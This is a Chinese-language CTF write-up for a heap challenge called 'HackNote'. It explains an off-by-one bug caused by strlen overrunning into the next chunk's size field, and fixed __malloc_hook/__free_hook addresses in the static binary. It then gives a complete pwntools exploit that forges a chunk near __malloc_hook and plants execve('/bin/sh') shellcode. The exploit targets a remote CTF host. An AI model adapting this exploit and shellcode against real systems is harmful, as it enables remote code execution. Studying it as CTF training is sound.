静态链接的题目, 又学到了一点
程序保护:
保护全关
程序逻辑分析:
常规操作齐了
漏洞点:
漏洞点发生在edit 函数中, 在对chunk进行edit 完之后, 会对chunk的size进行重新赋值, 而在调试的时候发现, 如果使用原来的chunk的size填满data区, 在进行重新赋值的时候chunk的size比原来的size多了4, 具体调试的时候发现, sub_424660函数应该是strlen函数, 字符串结尾在下一个chunk的size中, 导致重新赋值的size比原来的大, 这就造成了off-by-one漏洞
漏洞利用:
由于本题是静态链接, 库函数的地址都能在文件中找到, 也就是能直接找到malloc_hook或free_hook 的地址, 不用泄露
那么怎么找?
在调用free或malloc函数时会先对__free_hook 或 __malloc_hook 进行检查, 为空则调用free或malloc函数, 不为空则跳转到__free_hook 或__malloc_hook 中的地址上
进入free, malloc函数可以找到free_hook与malloc_hook的地址
__free_hook: 0x6CD5E8
__malloc_hook: 0x6CB788
找到_free_hook , _malloc_hook 的地址后就是填入能够getshell的地址, 可以往_malloc_hook 后填入shellcode, _malloc_hook中填入_malloc_hook + 8这样就可以通过利用shellcode来getshell
具体步骤:
利用off-by-one漏洞修改chunk的size, 将chunk分配到_malloc_hook 附近的fake chunk, 之后就是覆盖_malloc_hook 与植入shellcode了
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 0
if debug == 0:
p = process("./HackNote")
if d == 1:
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
else:
p = remote("183.129.189.62", 11504)
def add(size, note):
p.sendlineafter("-----------------", str(1))
p.sendlineafter("Input the Size:", str(size))
p.sendafter("Input the Note:", note)
def free(idx):
p.sendlineafter("-----------------", str(2))
p.sendlineafter("Input the Index of Note:", str(idx))
def edit(idx, note):
p.sendlineafter("-----------------", str(3))
p.sendlineafter("Input the Index of Note:", str(idx))
p.sendlineafter("Input the Note:", note)
elf = ELF("./HackNote")
libc = ELF("/home/user/welpwn/PwnContext/libs/libc-2.23/64bit/libc.so.6")
free_hook = 0x6cd5e8
malloc_hook = 0x6cb788
add(0x18, 'a'*0x18)
add(0x18, 'b'*0x18)
add(0x38, 'd'*0x38)
add(0x18, 'e'*0x18)
add(0x18, 'f'*0x18)
edit(0, 'a'*0x18)
edit(0, 'a'*0x18 + p8(0x81))
free(2)
free(1)
add(0x78, 'b'*0x18 + p64(0x41) + p64(malloc_hook - 0x16) + '\n')
add(0x38, 'h'*0x38)
shellcode = '\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
add(0x38, 'i'*0x6 + p64(malloc_hook + 8) + shellcode + '\n')
p.sendlineafter("-----------------", str(1))
p.sendlineafter("Input the Size:", str(1))
p.interactive()
结果: